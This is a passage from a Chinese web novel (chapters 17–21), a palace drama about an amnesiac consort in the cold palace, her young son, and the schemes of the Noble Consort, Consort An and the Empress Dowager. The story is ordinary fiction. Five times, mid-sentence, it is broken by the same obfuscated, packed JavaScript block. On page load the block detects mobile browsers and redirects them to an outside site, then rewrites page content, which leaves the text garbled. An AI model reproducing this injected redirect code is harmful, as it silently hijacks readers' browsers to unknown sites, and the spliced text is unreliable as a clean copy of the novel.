亲自接你出去。”贵妃柔声说。 欣贵人连连点头:“贵妃娘娘说的是,臣妾谨遵贵妃娘娘吩咐,只是今日那小野种提到的狐裘…” 旁的金银首饰,她随便从指头缝里露出一些来,就把那窟窿填了去了,可是狐裘,她确实是没有的。 贵妃说:“这件事不用你操心,本宫会补给他的,倒是你们,这段时日谁在冷宫拿狐裘说过事?” 欣贵人连连摇头:“贵妃娘娘,臣妾没有,臣妾之前去冷宫的时候,只与那小野种说过,贵妃娘娘给了那位许多金银珠宝之类的,可没提过狐裘衣物。” 贵妃脸色沉了沉,但很快又恢复了平静,她道:“本宫知道了,你且准备准备吧,稍后本宫会让人把狐裘送来,你一并让人给她送去。” 贵妃在莲华宫走后,欣贵人才如释重负的松了一口气,她的贴身宫女玉影连忙扶住了她,脸上尽是愤懑:“娘娘,这贵妃也太过分了,娘娘所行之事,哪件不是得她授意?可现在她竟然让娘娘自己补窟窿! 这五年来,她面上说是给晋娘娘送东西,实则那些东西谁又见过呢?如今出了事,却推娘娘出来顶罪,美名全是她占了,现在就连金银也要娘娘这边补,这之后还不知要怎么欺负娘娘呢。” “玉影一些金银而已,没必要这么计较。”欣贵人说。 “奴婢计较的不是金银,奴婢只是在担心娘娘,这次陛下不在,她只是象征性的让娘娘禁足,可以后万一再出了事,她把娘娘推出去,顶别的罪呢? 奴婢觉得这贵妃终究是不太靠谱,娘娘,还是得再想想别的退路,不说别的,就说这整整五年,您事事顺着她,她可给过你一点好处?”玉影说。 欣贵人叹息一声:“我又何尝不知,可放眼整个后宫,贵妃一家独大,我一个黄商之女,除了些金银一无所有,除了依附她以外,又能去依附谁呢? 罢了,这种话日后不要再说了,赶紧先搜罗些金银,给冷宫那位送去吧。” 第17章 朕怎么不知你做了贵妃的狗 莲华宫的东西很快就送到了冷宫,除去贺云瑄点名要的那件狐裘大氅以外,剩下的就只有金银首饰,甚至连匹布料都没有,就更不用说吃食了。 来送东西的人,除了莲华宫的以外,还有贵妃身边的满春。 艳红色的狐裘是满春亲自交到晋明鸢手上的。 临走的时候,她还不忘重重的叹了口气:“晋娘娘啊,这么多年来,不管您怎么想,我们贵妃对您的心意可从来未变过,不说旁的,就说这狐裘,那可是陛下亲自送给贵妃的,贵妃知道您在冷宫过的苦,还是毫不犹豫的送给了您。 您今日这般说话,实在是太让我们贵妃伤心了。” 她叹息着,把晋明鸢的手背拍了一次又一次,就像是在等晋明鸢一句愧疚。 但到最后,接了她话的却是贺云瑄,贺云瑄说:“满春姑姑,清姨姨对娘亲的心意,这些年来云瑄都看到了,娘亲之前心里也是知道的。 只是她现在刚失忆,很多事还没有习惯,失礼之处还请满春姑姑与贵妃多担待。” 说话间,贺云瑄始终攥着晋明鸢的手,暗示她不许乱说话。 晋明鸢眉头一直都是紧锁的,确切的说,自从满春抱着那狐裘依依不舍的让她记贵妃的恩时,她就快克制不住要回怼了。 奈何宝贝儿子盯得实在紧,想想自家儿子那一本正经事后问罪的模样,晋明鸢很是识时务的觉得不惹儿子生气的好。 满春叹了口气:“罢了,贵妃素来在意晋娘娘,自是不会放在心上,只是你应该知道,这宫里不比别处,可不能由着晋娘娘的性子来,还是得多约束她一二。” 贺云瑄连连点头,满春这才带着莲华宫的人一并离开。 “虚伪,呵,还真是虚伪,说什么在意,她若真的在意我们,又岂会不知这冷宫里缺的是衣物吃食?这批冷冰冰的金银首饰送来有什么用?能取暖还是能充饥?” 忍到满春离开,晋明鸢再也按捺不住怒骂道。 这回贺云瑄并没有阻止她,同样绷着一张脸看着那一堆流光溢彩的金银珠宝。 莫说没有衣物吃食,方才贵妃进来,分明看到这屋里连家具都没有,她若真的在意,怎么也该送张完整的桌子过来。 这些金银看似贵重,实则放在他们冷宫,与外面的石头没什么区别。 听着晋明鸢那边兀自愤愤不平,贺云瑄压下去了心里的思绪,他拉住了晋明鸢的手道:“没关系的娘亲,好歹她们把这件狐裘送来了,有了这狐裘,今年冬天就能捱过去了。” 贺云瑄不提狐裘还好,他这一提,就一下子勾住了晋明鸢的注意力。 晋明鸢冷静下来,侧目望他:“所以你早就知道她们会送这些没用的东西,故意点名要的狐裘?” 像是被问住了,贺云瑄小脸一白,忙不迭的摇头否认:“怎么会呢?我又不是贵妃和欣贵人肚子里的蛔虫,哪里知道她们会送来什么? 之所以提起狐裘,是因为之前听欣贵人抱怨过贵妃什么好东西都舍得给您,我便觉得那东西应当很值钱,所以才提了。” 他解释的声音有些急切,一张小脸上还带着些许的不安。 之前于嬷嬷还在的时候,总说他小小年纪成熟的不像个孩子。 娘亲不会也这样认为吧? 如果娘亲知道他心里颇多算计,会不会害怕他疏远他? 不行,他绝不能让娘亲看到那些。 “娘亲,可是云瑄做错了什么?”没有等晋明鸢说话,贺云瑄又小心翼翼的问了一句。 晋明鸢摇头:“没有,你没有做错,多亏了云瑄,我们才能有这个大氅,等晚些娘去弄个剪刀,把这东西拆了,给云瑄做个袄子穿。” 眼下旁的布料没有,好在这大氅足够的大,晋明鸢估摸着拆开来,应该够给贺云瑄做一套冬衣的。 贺云瑄一转头,就见她一双眼睛盯着狐裘,跃跃欲试的模样不似作伪,连忙拉了她的手,愿意话题道:“娘亲,你对之前的事真没有印象了吗?你还记得你是怎么掉进枯井的?” 在贺云瑄的记忆里,晋明鸢总喜欢把自己关进屋子里,鲜少踏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482363|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房门的,更别提出冷宫了,这样的她怎会掉在冷宫墙外的枯井里呢? 她又为何会出冷宫? 晋明鸢摇头,她此时脑海里依旧是一片空白,全然想不起那枯井是怎么回事? 与此同时,龙宸殿里,同样有人在因为这个问题上心。 贺江灈冷眼看着面前的黑衣人:“朕给你们半晌时间了,还是查不出一个冷宫女人如何坠井的吗?朕该说你们是越来越懈怠了,还是不把朕的命令当回事了?” “陛下息怒,是属下无用,只是当时…晋娘娘出冷宫的时间点过于巧合,且在晋娘娘坠井前,还有个宫女去世,这两者之间…” “怎么?你是要朕去管一个失忆的人,问她与那宫女什么关系?”贺江灈神色一冷,直接打断了暗一的话。 暗一连忙摇头:“陛下息怒,属下并无此意,属下这就继续去查。” 他又行了个礼,转身欲走,贺江灈略微掀了掀眼皮,似漫不经心的提醒一句:“趁这几日不在宫中,福寿宫**静了。” 暗一离开的脚步稍顿,很快就恢复了正常。 待到暗一离开,张公公这才上前来:“陛下,刚才贵妃跟前的人来过了,说是已经查清了欺辱晋娘娘的人,奴才听说贵妃还把您之前送她的那件狐裘也一并送给了晋娘娘呢。” “只是查清了,没有说怎么处置吗?”贺江灈冷眼扫过来,立刻惹的张公公打了个激灵,连连道:“说…说了的,这五年来一直都是欣贵人试图侵占晋娘娘的东西,贵妃已经罚她禁足了。” 贺江灈敲着桌子的手指轻顿,他看向张公公的目光越来越冷:“欣贵人,禁足?这件事你怎么看?” “奴…奴才…”张公公犹豫不决,好半晌才讷讷道,“这…贵妃的处置或许是轻了些,可陛下也知道贵妃娘娘从来都胆小柔弱,并非这件事才…” 对上贺江灈一双伶俐的目光,他声音戛然而止,脑袋也紧贴在了地面上。 贺江灈冷笑一声:“张康全,朕怎么不知道你如今竟成了贵妃的狗?” 第18章 安妃 “奴才没有啊陛下,请陛下明鉴,奴才对陛下从来都是忠心耿耿的,绝无半点不敬之意。” 张公公完全被贺江灈一句话吓破了胆,脑袋一下接一下的砸在地面上,不知疼痛一般。 但贺江灈脸上却没有半点怜悯,反而还带着明显的讥讽,他说:“是吗,这么说是朕误会了你了?可看你那迫不及待维护贵妃的模样,朕还真以为朕的人早就投靠了贵妃呢。” “奴才没有,方才是奴才一时糊涂多言,请陛下责罚。”张公公头磕的更凶了,声音里都带了哭腔。 “既是没有,那你倒是说说这件事贵妃可处理妥帖了?”贺江灈问。 张公公又是打了个机灵,连连摇头:“没有,没有,贵妃太过于心慈手软,那欣贵人侵占晋娘娘五年的东西,只是禁足对她来说太轻了。” “呵,张康全,朕看你还真是越来越糊涂了,这宫里最不缺银子的就是欣贵人,她至于为了送到冷宫的那三瓜两枣去以身犯险? 你在朕身边这么久,擦不亮眼睛可不行,自己下去领二十大板好好清醒清醒吧。”贺江灈说。 话被他点名了,张公公这才如梦初醒,但取而代之的又是另一种不安。 往日里他不是没有替贵妃说过话,又或者说在陛下跟前当值的,或多或少都替贵妃说过话,陛下从来都没有恼过,唯有这次… 贵妃的性子素来柔弱,处事也一如既往,从未变过,陛下之前从未说过她一句不是,也只有这次… 看来这宫里的天,终究是要变了。 冷宫里的那位… 对陛下而言到底是不一样的。 张公公怀着满腹心事走到门口,正遇到一穿着素衣的女子缓步而来,他愣了一下,才禀报道:“陛下,安妃娘娘来了。” 禀报完,他心里又是一阵唏嘘。 这安妃虽是太后的侄女,可是平日里却从来没有主动来过龙宸殿一次,今日这主动过来,八成也是为了帮太后打探冷宫那位失忆的事了。 虽然这五年来陛下将那位丢在冷宫,看似被伤透了心抛弃了那位,可是作为一个帝王,明知自己女人背叛自己生了野种却不处死,就已经说明陛下对那位的情谊了。 那位一直在冷宫安安静静,陛下从来不去探望便也罢了,可如今她一个失忆,陛下只去看了一次,竟是瞬间就将这宫中搅得风云变换。 “安妃来朕这里倒是稀奇。”瞧着迎面而来的人,贺江灈掩着眼睛里的不耐,随口敷衍一句。 安妃不卑不亢的行礼:“陛下说笑了,臣妾知道陛下政务繁忙,素来不敢打扰陛下,只是今日姑母听闻冷宫那位娘娘受伤失忆,便让臣妾过去探望,臣妾觉得此事应该知会陛下一声,故而斗胆过来打扰陛下。” “你倒是懂事,可若朕不同意你去,你就不去了吗?”贺江灈问。 他看向安妃的时候,更像是在看一个陌生人,确切的说,他与安妃也确实陌生。 这女子进宫三年,除却必要的宫宴,或者太后的安排,其他时候都不会出现在他面前的。 若说贺江灈对他这位安妃最深的印象,大抵就是她那与贵妃一样,总穿在身上的素衣。 只是与贵妃不同的是,素衣穿在她身上彰显的不是柔弱,反而是拒人于千里之外的清冷,就如她这个人一样,总是紧绷着一张脸,无喜无怒,就像是谁欠了她一样。 贺江灈有时都在想,他那母后到底是选错了人选个木头进宫还是这安妃太会伪装,让他都看走了眼。 “臣妾若是不去,姑母还会派别人去,比起那些人来,陛下倒不如让臣妾去,至少臣妾在您这里过过明路,就不会对晋娘娘如何。”安妃说。 她就是在和贺江灈对峙的时候,也是那副不卑不亢的姿态,就连腰肢都没有半分塌陷。 “哦?安妃的意思是,太后对她有意见?”贺江灈反问。 安妃说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482364|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“一个有辱皇家颜面的人,姑母自然是不喜的,这一点陛下不是早就知道了吗?这五年她安分守己,姑母才无动于衷,但这次她既说失忆,那么姑母自然要弄清楚她是真的失忆还是哗众取宠。” 贺江灈瞳色渐深,似是被安妃哪句话吸引了注意,片刻后,他道:“既然是母后的意思,安妃还不快些去看?正好朕也想知道她是真失忆还是假失忆。” 伴随着安妃的离开,贺江灈脸色也越发难看,他冷声道:“来人,摆驾福寿宫。” 且不说晋氏失忆前安分五年,就是她当初做四皇子妃时,亦是安分收礼,太后担忧她假装失忆作妖,实在是没必要。 除非… 安妃到冷宫的时候,晋明鸢正教训了芙蕖柳枝两个宫女,如今两人恭恭敬敬的帮她收拾着满屋的狼藉。 一边收拾,还得一边回答她的问题。 “哎呦娘娘哎,奴婢现在哪里敢跟您撒谎,之前您虽然人在冷宫,但奴婢们都不敢招惹您的,您去哪里,见什么人,哪是奴婢们敢管的啊。”芙蕖说。 “是啊娘娘,这宫里谁不知道您与贵妃娘娘关系不一般,贵妃娘娘隔三差五的过来,奴婢们哪敢怠慢您,平日里在您跟前那都是躲着走的。”柳枝也说。 晋明鸢一个冷眼扫过来,手里的烧火棍晃了晃,芙蕖忙不跌地又道:“这这这…怠慢小公子的事也怪不得奴婢们的,是之前陛下身边的人吩咐,要奴婢在这儿盯着您,不许您与小公子接触,奴婢们才…” 柳枝连连点头:“是这样的娘娘,您污了皇家血脉,陛下却愿意留你性命,这满宫也都看得出来,他不喜您与小公子接触,若非如此,就算给奴婢天大的胆子,奴婢们也不敢怠慢小公子啊。” 安妃站在门外,正巧将这几人的对话听在耳中,这晋明鸢失忆的消息八成是板上钉钉了,她摆了摆手,正要带着自己的人离开,晋明鸢已经看到了她:“你又是谁?来做什么的?” 第19章 来都来了,不能空手吧 已经被正主撞了个正着,安妃便收了要离开的冲动,带着自己的人进了门:“妾身安氏,奉太后之命,特来探望姐姐。” 不像是之前的欣贵人趾高气扬,也不似贵妃那样刻意来拉好感,安妃行礼时中规中矩,好像并没有掺杂什么个人情绪一般。 晋明鸢捏着手里的烧火棍,遥遥的对她打量几眼,又兀自上前两步,围着她转了个圈,顶着所有人不明所以的目光,她理直气壮的问:“来看望我的,空着手来的啊?” 晋明鸢这句话,可谓是一石惊起千层浪。 且不说安妃背后的宫女如何的面面相觑,就是安妃满脸的云淡风轻都好像消散了些许,那双在贺江灈面前都无波无澜的眼睛此刻也多了几分的起伏。 这… 这么直接的吗? 安妃之前并没有和晋明鸢有过过多的接触,她入宫的时候,晋明鸢已经在冷宫了。 只是她却听过不少关于晋明鸢的传闻,听说这位在做四皇子妃的时候,一直都将四皇子的内宅打理的井井有条,她一直以为她该是个端庄温婉的性格。 再不济也该精明深沉。 这怎么会… 只是失忆而已,真的能让一个人的性格变得这么大吗? 莫说是世家贵女,安妃觉得就算是市井小民,应当也做不出她这般坦坦荡荡直接伸手问人要东西的行径。 气氛一味的僵持。 还是贺云瑄最先回过神来,上前两步拉住了晋明鸢的胳膊,提醒道:“安妃娘娘是太后的侄女,人家既然主动来看你,你须得…” “太后的侄女怎么了?是她来看我的,又不是我求着她来的,哪里有看人空着手来的?” 晋明鸢不以为然,那只没有被贺云瑄拉着的手还是正对着安妃摊开。 什么安妃,什么太后的侄女,反正她又不认识。 对方既然口口声声说什么探望,那不留点东西又叫什么探望? 贵妃和欣贵人送来的那堆金银如同石头无异,现在她与云瑄的吃穿用度还没能解决呢,这安妃既然送上门来,她不要点东西,岂不是说不过去? 至于脸面什么的… 反正她谁也不认识,饭都吃不起了,还顾及那些做什么? “娘亲…”贺云瑄扯着晋明鸢的手,恨不得跳起来将她的嘴堵住。 她这性子未免太莽撞了一些,对欣贵人这般也就算了,这个安妃可不是没有后台的,若是把人得罪了,后果不亚于激怒贵妃。 “晋姐姐说的是,这次是妹妹疏忽,妹妹这就回去让人给晋姐姐送礼来。” 安妃虽是有片刻的失神,但回过神来的时候,态度依旧没有多少变化,她摆了摆手,正要吩咐自己跟前的春樱去拿东西。 晋明鸢直接道:“你可莫要像那贵妃一样不通世故,只给我一些金银俗物,既是来看望我的,投其所好,安妃应该知道吧?” 安妃又是被晋明鸢直白的话弄的愣了一下,她正要点头,春樱已是有些按耐不住:“晋娘娘,我们娘娘好心来看您,您这般直接张口讨要东西,是不是太过失礼了? 旁的不说,娘娘送您什么,那都是娘娘的心意,哪有您自己来挑的?” 说话间春樱已是忍不住翻了个白眼儿,她全然想不到这宫里怎么还会有这等粗俗之辈? “我不张口来讨,你们娘娘哪里知道我需要什么?就像那贵妃似的,口口声声说着为我好,却送来一堆我不喜欢的金银俗物。 银钱花了,对我来说毫无用处,我也不会感激她,这样有意义吗?”晋明鸢道。 “你…”春樱还想反驳什么,但因着晋明鸢这套又糙又又好像很有道理的话,她竟是真的不知自己应该说什么好了。 这女人对贵妃的态度都那样不屑,她还指望她对自己一个宫女好声好气吗? 安妃道:“春樱,带人去姑母那里知会一声,给晋姐姐弄些米面蔬菜来,另外晋姐姐这屋里桌椅也确实老旧,便全换了吧。” 伴随着安妃话音一落,那边春樱还没应答,晋明鸢已是一巴掌拍在了安妃的肩膀上:“还是你懂事,比贵妃好了不知多少倍,我就喜欢你这样的,以后常来啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482365|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她讨东西的时候不加掩饰,表达喜欢的时候同样不加掩饰。 安妃手指按着陪她拍过的地方,连神色都有些恍惚,一时竟不知怎么接晋明鸢的话。 倒是春樱退下去的时候,心里忍不住犯嘀咕,还常来呢,再常来莫不是要把她们娘娘当钱袋子,巴不得随时随地伸手来掏了? 安妃倒是没有春樱那么多心思,她道:“姐姐若是不嫌妾身烦,妾身会常来看望姐姐的。” “不嫌不嫌,你这来一趟又给我换桌椅,又给我送米面,比那贵妃来五年强的多,我欢迎你还来不及呢。”晋明鸢说。 她的手揽着安妃的肩膀,明明两个人才头一回见面,但这架势俨然已经把安妃当成了自己的好姐妹一般。 贺云瑄站在一边,看着她那副恨不得下一刻就要与安妃称兄道弟的作派,连眉心都已经拧到了一起。 他立在一边,小心翼翼地观察着安妃的神色,直到确认对方脸上没什么不悦,那颗悬起来的心,才稍稍的落下了一点儿。 不得不承认,晋明鸢失忆之后,是懂得怎么让人提心吊胆的。 安妃有些不习惯的拍掉了晋明鸢的手:“姐姐,关于贵妃的事还是慎言,您失忆之前曾与贵妃情同姐妹,莫要总说这种话,寒了贵妃的心。” “我只是实话实说而已,有什么了不起的,她若是觉得寒心,就拿出点真正的东西来,别总在我这里装模作样呀。 之前种种我又不记得了,我现在所说的,不过是我自己看到的而已。”晋明鸢混不在意。 人人都说她与贵妃关系好,可之前的事她不记得了是事实,至于现在… 虚情和假意她还是分得出来的。 晋明鸢说话间,安妃一双眼睛若有所思的盯着她的脸。 她看着他提到贵妃的时候,眼里没有一丁点儿的怜惜在意,心头不禁微动。 看来… 应该是真失忆了。 安妃失神的空档,晋明鸢又道:“你别害怕,就冲你愿意给我送米面,你就是顶好的人。” 第20章 一碗补汤 顶好的人吗? 安妃略微垂眸,对她这过分信赖的态度有些不习惯。 她手腕微动,将自己的手从晋明鸢怀里抽了出来,看着跪在地上狼狈不堪的芙蕖和柳枝,安妃转移话题到:“对了姐姐方才在做什么?这两名宫女可是犯了什么错?” “哦,她们啊,错的可多了,吃里扒外,欺上瞒下,我这若是再不教训教训,只怕她们就成了我主子了,也不知谁派来的这等贱婢,半点规矩没有,这性格当真是随了主人。” 一提到芙蕖柳枝,晋明鸢的话匣子就打开了,将二人的作为絮叨一番,她又冷哼一声:“就是你们二人,看什么看?能养出你们这种恶仆,想来你们的主子也不是什么良善之辈。” “姐姐既然这么不喜她们,不若妾身去禀了姑母,给姐姐换两个宫女过来?” 安妃方才也不过就是随口一提,对于晋明鸢的这两个宫女到底犯的何处,她其实也不甚在意。 现下听到晋明鸢对这二人如此不满,她亦是顺水推舟的解决问题。 晋明鸢没说话,像是在思考这件事的可行性,贺云瑄道:“多谢安娘娘为娘亲考虑,这两名下人之前确实过分,只是如今已被娘亲修整妥帖,她们毕竟是陛下指到冷宫来的,若是贸然把人换掉,只怕会拂了陛下的面子。 云瑄知道安娘娘是出于好心,所以便更不能让安娘娘因此涉险。” 他立在安妃面前,声音不卑不亢,一本正经的模样比晋明鸢还像个大人。 明明生着一张格外稚嫩的脸,偏这一板一眼的模样带来的反差感极强,安妃忍不住用手指戳了戳贺云瑄的脸。 她那张无甚表情的脸在此刻露出了几分笑意:“你叫云瑄呀,真聪明,你考虑的很对,还是不要随便让任何人往你们身边安插眼线,在这宫里小心谨慎些,总是好的。” 贺云瑄依旧板着一张脸,他其实有些分辨不出贵妃说这话是否是出于真心? 说话间外面传来了一阵喧闹的动静,是方才离开的春樱回来了,还带来了几个小内监,搬来了一套桌椅,米面各两袋,还有一些新鲜的蔬菜。 晋明鸢看到这些的时候,眼睛都亮了几分。 把东西放好后,那群内监很快就退了出去,春樱提着一个食盒,献宝似的到了安妃的面前。 那食盒还没有打开,里面的香味就扑面而来,安妃道:“你这又是拿的什么?” 春樱说:“奴婢今日去福寿宫去的巧,正好遇上贵妃的人给太后送了贵妃亲手炖的莲子羹,太后说晋娘娘有伤在身,应该好好补补才是,便让奴婢将这莲子羹带了回来。” 她一边说着,一边打开了盖子,白玉碗中,透明的羹汤还冒着热气,清甜的味道也随之袭来,很容易勾起人的味觉。 春樱把莲子羹端到了晋明鸢的面前,她道:“太后关心娘娘,还说晚点儿会亲自过来看娘娘呢,娘娘先把汤喝了吧。” “我的伤没什么大碍,用不着这些东西,便给小瑄瑄喝了吧。”晋明鸢只是看了一眼那让人食指大动的羹汤就移开了目光。 既是贵妃亲手做了用来孝敬太后的东西,定然是些不可多得的好东西,云瑄如今这么瘦弱,正是需要补补的时候。 春樱道:“这怎么行?这可是太后娘娘指明了赏给晋娘娘的,晋娘娘转给旁人,岂不是辜负了太后的一番心意。” “小瑄瑄是我儿子,我给我儿子喝怎么就是给旁人了?”晋明鸢质问。 话说着,她就直接从春樱手里接过了碗,还没有递给贺云瑄。 一直安**着的安妃却忽然猛地站了起来,肩膀正撞在晋明鸢的手腕上,只听哐当一声脆响,那汤碗坠在地上摔的四分五裂,有碎瓷溅起,砸在贺云瑄的下巴上,在她下颌处划出了一道不大不小的口子。 “你做什么?”有鲜血渗出来,一下子吸引了晋明鸢所有的注意,她手忙脚乱地推开了安妃,弯腰去看贺云瑄的伤。 安妃踉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482366|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跄一下,到底没有站稳,直接跌坐在了地上,她的手按在一地碎瓷上,鲜血瞬间和碎在地面上的汤汁融在了一起。 “娘娘,娘娘,你怎么样了?”春樱吓了一跳,手忙脚乱的扑过来要扶安妃起来,在触及安妃那双不断流血的手时,她怒不可遏的望向晋明鸢,“晋娘娘,我们娘娘也是不小心,您这样做是不是太过分了?” 晋明鸢只顾着看贺云瑄的伤,确实没有注意到安妃因为她那一推直接跌在了地上,经春樱一嚷,她才看到安妃的手。 她还没来得及做出反应,贺云瑄便道:“娘亲,我没事,你赶紧去扶安妃娘娘。” 话说着,他还不忘推搡晋明鸢,脸上更是尽是急切之意。 安妃虽然不得那个人宠爱,却也是太后的侄女,这身份上可一点也不比贵妃差。 这若是太后追究起来… 也不知是不是上天听到了贺云瑄的恐慌,外面忽然传来一声通报:“太后驾到。” 贺云瑄一张脸顿时一片煞白,他又紧张地推搡了晋明鸢一把,示意晋明鸢去扶安妃起来。 且不管这件事闹到最后要如何解释,至少不能让太后进来的时候亲眼看到安妃是倒在地上的。 安妃同样面色一变,她不顾旁人的搀扶,竟是自己快速的起了身,仅仅是一瞬间的空档,就恢复了那副端庄冷淡的模样,对着门口的方向弓腰行礼。 贺云瑄心里依旧是惴惴不安,但眼见着太后已经到了门口,他亦是赶紧拽了晋明鸢一把,示意晋明鸢一起行礼。 “这是怎么了?晋氏,哀家赏你的汤为何撒了?”太后进门,目光环顾一圈,视线已落在了遍地的碎瓷上。 那碗汤虽然已经渗入了砖缝里,再也寻不到踪迹,可是装着汤的白玉碗碎片却格外的明显,很容易就让太后认出来。 “姑母,是禾儿不小心,撞到了晋姐姐,糟蹋了姑母的心意,请姑母责罚。”赶在晋明鸢开口之前,安妃忽然跪了下来。 第21章 你对得起你母亲吗 安妃这样一开口,一下子就把太后的注意力留在了她的身上。 太后冷眼扫过来,正好看到安妃手上的血染在素色的裙摆上,大片的嫣红格外的刺目。 作为姑母,看到安妃的伤口后,她非但没有半点关切,而是直接怒斥道:“废物东西,你还能做好什么?你这糟蹋的又何止是哀家的心意?还有贵妃的心意也尽让你糟蹋了去。” 安妃只是一味的低着头,对于太后的责骂,她一言不发。 太后又冷声道:“瞧瞧这弄得满地狼藉,像什么样子?还不赶紧都收拾了?” 得了吩咐,春樱连忙带着人上前收拾碎瓷,太后又对着安妃道:“你既是有错在先,现在就给哀家去门外跪着。” “臣妾领命。”安妃应了一声,恭恭敬敬的就朝着门外走去,她的手拢在袖子里,却有血顺着手指一滴滴的落下来,就算没有看到伤口,只看这接连不断流出来的血珠,就能让人猜到她的伤势应该不轻。 眼见着安妃要出去,晋明鸢突然道:“慢着,太后娘娘,安妃也不是故意的,再者说她受了伤,还是请太医先来帮她看看吧。” 凭心而论,安妃从进门开始并没有什么做的不好的地方,反倒是她,因为一时的冲动伤到了安妃。 如今看到安妃伤口流血不止,听到太后把错处全推到安妃身上,晋明鸢实在做不到视而不见。 太后的目光从安妃身上移到了晋明鸢身上,她盯着晋明鸢的脸片刻:“你倒是个心善的,既是如此,便去请个太医过来吧。” 太后被身边的王嬷嬷搀扶着落了座,又把目光落在了晋明鸢身边的贺云瑄身上,视线只是停留了一下,她就有些嫌弃的偏过了头。 那嫌恶之色半点也不遮掩,正好落在晋明鸢的眼里。 看到这一幕,晋明鸢脸色铁青,还不待她说话,太后已经悠悠道:“只是在这宫里啊,一味的心善可没有用,这点你应该早就体会过了吧?” 太后的话说的有些意味不明,晋明鸢道:“臣妾不懂您的意思,更不知您口中的体会所谓何意,臣妾只知道我不喜欢你看云瑄的眼神,如果您依旧固执的用这样的视线看他,便请您出去。” “娘亲…”贺云瑄绷着脸,恨不得跳起来将晋明鸢的嘴堵住,刚才听她说话的时候,对太后态度还算客气,贺云瑄便以为她也是识时务的,哪曾想自己只是一瞬间不注意,她就又如此横冲直撞了? 只是一个眼神而已,这五年以来,几乎每个人看他时都是带着嫌恶的,贺云瑄早就习惯了。 更露骨更明显的厌恶目光他都见过,太后已经比那些人要好许多了,她做什么只因为这么点小事就与太后翻脸? 这值得吗? 明明只要忍一忍,把太后送走便一切安好。 她何至于为了他沾上麻烦? 晋明鸢知道贺云瑄的担忧,她略微弯腰,温柔地摸着贺云瑄的脑袋:“娘说过,会保护好你的,只要娘在这里,谁都不能嫌恶我们云瑄,太后也不行。” 最后一句话,晋明鸢是盯着太后的眼睛说的。 贺云瑄就是她的底线,谁也不能踩。 “你还真是一点也没变,和当初一样,看来你现在还是没有后悔,哀家这一趟算是白来了。”太后说。 太后说话总是云里雾里的,让人听不懂她的真实用意。 晋明鸢听不懂她的话,也懒得去猜,她在意的只有太后看贺云瑄的那个视线。 没再从对方脸上看到厌恶,她便也没有再与太后针锋相对。 倒是贺云瑄喃喃道:“当初…” 太后这话是什么意思?什么叫和当初一样?难道之前娘亲也这样护过他吗? 贺云瑄一双黑漆漆的眼睛抬起来,盯着晋明鸢的脸,他觉得自己的一颗心脏都在因为这个认知而疯狂跳动着。 他的娘亲… 好像并不像他所认为的那样冷漠。 太后听到贺云瑄的声音,撇了撇嘴,没好气的道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482367|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“呵,你个小东西,看什么看?要不是你,你娘早就是皇后了,当初皇帝执意要处死你,是她用皇后的位置换了你活着,也是她主动来冷宫陪你的。 你倒好,对你娘一点也不上心,连她怎么失忆的都不知道吗?” “我…”贺云瑄心头翻涌的愧疚,因为太后这两句责问越演越烈,他红着一双眼睛,摇着头,“都怪我,都是我不好,都是我不够关心她,才让她掉进枯井,我…” “她是怎么掉进了枯井,你当真一点不知吗?”太后忽然起身,居高临下的盯着贺云瑄,话里更是带着一股浓烈的咄咄逼人的意味。 